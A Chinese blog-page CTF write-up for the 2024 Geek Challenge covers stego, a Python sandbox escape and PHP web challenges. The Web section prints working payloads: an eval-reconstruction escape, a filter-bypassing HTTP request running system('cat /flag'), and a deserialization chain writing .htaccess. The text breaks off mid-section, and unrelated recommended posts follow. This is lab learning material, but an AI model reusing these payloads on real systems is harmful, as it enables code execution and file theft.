2024极客大挑战64题全解:从签到到逆向的实战WriteUp

2024第十五届极客大挑战解题WriteUp 利用写入.htaccerss 死亡代码绕过。生成后大写S加16进制绕过正则。 阅读详情

1. 赛事概览与解题思路总览

大家好,我是超哥,这次和队友侠猫一起参加了第十五届极客大挑战,在长达一个月的赛程里,我们总共解出了64道题目,最终在校外赛道1069支队伍中排名第七。这个成绩还算不错,但更重要的是,我们积累了大量实战经验,踩过不少坑,也总结出很多高效的解题套路。今天这篇文章,我就想把这次比赛里遇到的各种题型,从最简单的签到题到复杂的逆向工程,用最通俗易懂的方式,把解题思路和操作步骤完整地分享给大家。不管你是刚接触CTF的新手,还是有一定经验想提升的选手,相信都能从中找到有用的东西。

这次比赛的题目覆盖面非常广,MISC、Web、PWN、Reverse、Crypto这些主流方向都有涉及,而且每道题的质量都不低,很多题目都需要结合多个知识点才能解决。我和侠猫分工合作,他主要负责Web和部分MISC,我则侧重PWN、Reverse和Crypto。在解题过程中,我们最大的感受就是,现在的CTF题目越来越注重实战性和综合性,单纯靠背知识点已经不够用了,必须要有灵活的思路和扎实的调试能力。接下来,我就按照题型分类,把每道题的解题过程详细拆解一遍,特别是那些容易卡住的关键点,我会重点说明。

2. MISC杂项:从签到到隐写的全方位实战

MISC题目往往是比赛的开胃菜,但这次比赛的MISC难度跨度很大,有简单的签到题,也有需要多种工具配合的复杂隐写题。我们先从最简单的开始。

2.1 签到与基础文件分析

比赛的签到题通常不会太难,主要是让选手熟悉比赛环境。这次的签到题是关注主办方公众号回复关键词获取flag,属于常规操作。但接下来的Welcome_jail就有点意思了,这是一道Python沙箱逃逸题。题目给了一个过滤列表,把import、os、eval这些危险函数和字符都禁用了。我第一眼看到这个限制,就想到了Python的__builtins__和字节码转换。我的绕过思路是这样的:既然不能直接写eval,那就用bytes数组构造出eval字符串,然后通过__builtins__.__dict__来调用。具体操作时,我先把__import__('os').popen('cat /home/ctf/flag').read()这串代码的每个字符转换成ASCII码,然后用bytes([101,118,97,108]).decode()得到"eval"字符串,最后拼接执行。实测下来,这种方法能稳定绕过过滤拿到flag。

文件分析类的题目也出现了好几次。比如Truth of Word这道题,给了一个.docx文件,很多人可能不知道,.docx本质上是个ZIP压缩包。我直接把文件后缀改成.zip,解压后在word/document.xml里全局搜索flag,很快就找到了。还有ez_pcap_1和ez_pcap_2这两道流量分析题,前者直接在Wireshark里搜索SYC关键词就能在特定数据包找到flag,后者则需要分析HTTP请求中的特殊参数。做这类题的关键是要熟悉各种文件的真实格式,知道该用什么工具打开,该搜索什么关键词。

2.2 隐写术的多种玩法

隐写题是MISC的重头戏,这次比赛出现了图片隐写、音频隐写、文本隐写等多种形式。ez_jpg这道题挺典型的,题目给了一个flag.txt,里面是Base64编码的数据。我解码后发现是一串字节,尝试反转字节顺序后得到了一张图片。用Stegsolve打开图片没发现异常,但用010 Editor查看文件头,发现图片宽度被修改过。把宽度改成640后,flag就直接显示在图片里了。这里有个小技巧:JPEG图片的宽度信息存储在文件头的特定位置,修改这个值可能会影响图片的显示效果,从而隐藏信息。

snow隐写这道题比较复杂,需要多个步骤。首先是一个压缩包,用010 Editor打开发现末尾有VzNMQzBNNA==,Base64解码得到密码W3LC0M4。解压后得到一个图片和一个WaterMarkH.exe程序,这个程序是用来提取盲水印的。提取后得到whithe.txt,但这个文件其实是用snow隐写工具隐藏了信息。执行snow.exe -p Th1si4st8eK3y -C White.txt,最终拿到flag。整个过程涉及了压缩包分析、盲水印提取和snow隐写,需要选手对每种隐写工具都很熟悉。

音频隐写在乌龟这道题里出现了。题目给了一个音频文件,用SSTV(慢扫描电视)工具解码后得到一张图片,图片上写着密码Be4uti7ulSun5e7。然后用DeepSound工具,用这个密码解密音频文件,得到一个secret.txt。这个文件的内容是LOGO语言的绘图代码,需要用MSWLogo软件运行才能看到最终的flag。这种多步骤的隐写题,最重要的是保持清晰的思路,每一步的输出都是下一步的输入,要耐心地逐个破解。

3. Web安全:漏洞利用与代码审计实战

Web题目一直是CTF比赛的核心,这次比赛的Web题涵盖了RCE、反序列化、SSRF、文件包含、SQL注入等常见漏洞类型,而且很多题目都有多层过滤,需要巧妙绕过。

3.1 代码执行与反序列化漏洞

rce_me这道题是一个典型的PHP代码执行漏洞,但有多层过滤。题目首先检查$_POST["start"]是否包含"start now",但又用preg_match和strpos做了矛盾的限制。我仔细分析后发现,可以通过start=start now加上换行符来绕过。然后是sha1和md5的弱类型比较,需要找到一个字符串,它的sha1值等于md5("Geekchallenge2024_bmKtL"),但本身又不是这个字符串。我用了aaK1STfY这个字符串,它满足条件。最后是$year的判断,要求intval($year) < 2024 && intval($year + 1) > 2025,这里可以用科学计数法1e9来绕过,因为intval(1e9)是1,小于2024,但intval(1e9+1)会变成1000000001,大于2025。最终的payload是这样的:

POST /?year=1e9&purpose=rce%0a&code=system('cat%20/flag'); HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

start=start now&.[2024.geekchallenge.ctf=aaK1STfY

反序列化题目ezpop和not_just_pop都比较复杂,需要构造复杂的对象链来触发魔术方法。以ezpop为例,题目有三个类:SYC、lover、Geek,每个类都有特定的魔术方法。我的利用思路是通过lover的__destruct触发Geek的__toString,再触发SYC的__call,最终写入.htaccess文件来执行任意代码。这里有个关键点:题目过滤了meimeng字符串,但PHP反序列化时可以用S加十六进制来表示字符串,比如S:7:"meimen\67"就能绕过过滤。构造好的payload是这样的:

O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";S:7:"meimen\67";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;S:7:"meimen\67";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";S:87:"php://filter/string.strip_tags/?>php_value auto_prepend_file /flag\0a\23/resource=.htaccess";}}}}}

3.2 文件包含与SSRF攻击

ez_include这道文件包含题有个有

BUUCTF[极客大挑战 2019]EasySQL 1题解 SQL注入基础题解 本文以"[极客大挑战 2019]EasySQL"为例,解析了SQL注入的基本原理和解题过程。题目是一个采用GET请求的登录界面,通过输入测试发现存在SQL注入漏洞。文章详细分析了数字型和字符型注入的区别,指出该题属于字符型注入。解题采用"万能密码"方法,通过构造1' or '1'='1等payload绕过验证。最终获得flag{c245efae-9088-4dec-8c2e-5c34c73392e9},展示了初级SQL注入的类型判断和payload构造技巧。 阅读详情

相关推荐

Buuctf-Web-[极客大挑战 2019]EasySQL 1 题解及思路总结

SQL注入。

m0_62239233的博客 2万+

拯救者R7000P(2021)装双系统Ubuntu20.04 解决联发科MT7921无线网卡在Ubuntu中不能联网

拯救者R7000P(2021)装双系统Ubuntu20.04/Ubuntu18.04 电脑配置:联想拯救者R7000P CPU:AMD R7-5800H GPU:RTX3060-6G 内存:16GB 固态:500G(原装)+500(加装) 1.做系统盘(本文以Ubuntu20.04为例) 1.下载Ubuntu20.04镜像 直接去Ubuntu官网或者一些国内的镜像去下载都可以,这里给出一个网址https://ubuntu.com/download/desktop,根据需要下载自己学要的Ubuntu版本,后缀

qq_41108639的博客 1万+

四足机器人如何用对抗运动先验(AMP)实现复杂地形行走?Unitree Go1实战解析

本文深入解析了四足机器人Unitree Go1如何通过对抗运动先验(AMP)算法实现复杂地形行走。AMP结合模仿学习与对抗训练,使机器人仅凭本体感知就能适应未知地形。文章详细介绍了AMP的核心架构、仿真训练工程实践以及在Unitree Go1上的部署优化方案,展示了其在极端地形下的卓越性能表现。

weixin_29050513的博客 330

VCS和UVM常用编译选项

VCS编译选项 -full64 在64bit模式下编译、仿真,用于64位操作系统 -j8 指定编译器可以并行编译的进程数为8 -timescale=1ns/1ps 指定仿真时间和精度 +libext+.v+.V+.sv+.svh 识别.v、.sv、.svh等多种格式文件 -sverilog 支持system verilog 编译 -f xxx.lisf 指定包含所有设计文件列表的文件名 -top test 设置顶层模块为test。(指包含.

qq_40571921的博客 9935

从充电管理芯片里‘偷师’:拆解一个PMOS双向开关电路,搞定你的固态继电器需求

本文深入解析了PMOS双向开关电路在固态继电器应用中的设计要点,重点探讨了防电流倒灌和高侧双向开关的实现技巧。通过拆解充电管理芯片中的PMOS背靠背结构,工程师可以构建高效可靠的固态开关方案,适用于智能硬件和电池管理系统。文章还提供了关键参数选择、电路优化建议及实测数据对比,助力解决电源防反接等工程难题。

weixin_33698043的博客 487

基于STM32、HAL库的WF282A气压传感器 驱动程序设计

测量范围:0-2.5MPa(可根据需求选择其他量程)输出方式:I2C或SPI数字接口。温度补偿范围:-20℃~85℃。低功耗设计,适合电池供电应用。工作电压:3.3V/5V。精度:±0.1%FS。

corlin6688的博客 398

【C#程序员入门AI】必知的一些知识

2026年C#调用AI,核心就4个概念+3种方式4个概念:大模型(大脑)、嵌入(数字密码)、向量(载体)、Agent(超级助理)3种方式:云端API(快)、本地模型(隐私)、混合部署(最佳)不用怕复杂,跟着这个思路走,你就能从“AI小白”变成“C# AI开发能手”,把AI集成到你的.NET项目里,提升效率、创造价值!

人工智能AI技术 410

NXOpenC#-通用NX对象操作Tag,Handle,TaggedObject介绍

NXOpenC#-通用NX对象操作Tag,Handle,TaggedObject介绍

阿飞2018 1188

rk3588 LightSensor适配从驱动到应用层

本文详细介绍了在RK3588平台上实现光感驱动的开发流程。主要包括:1) 在设备树中配置I2C5接口挂载光感设备;2) 编写内核驱动代码实现光感数据采集;3) HAL层通过ioctl与驱动交互;4) 在BoardConfig.mk中启用相关宏定义;5) Framework层通过AutomaticBrightnessController实现自动亮度调节算法;6) 应用层可通过监听系统设置获取光感变化并调整屏幕亮度。整个流程涵盖了从底层驱动到上层应用的完整实现方案,重点解决了光感设备注册、数据采集传输和自动亮度

tzj1058756809的博客 451

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

上一篇: Redis7底层数据结构优化:从ziplist到listpack的演进
下一篇: PyTorch实战:TensorBoard可视化工具的高效使用指南【从安装到图像/曲线绘制】
code8
博客等级 码龄17年 65粉丝 1720原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值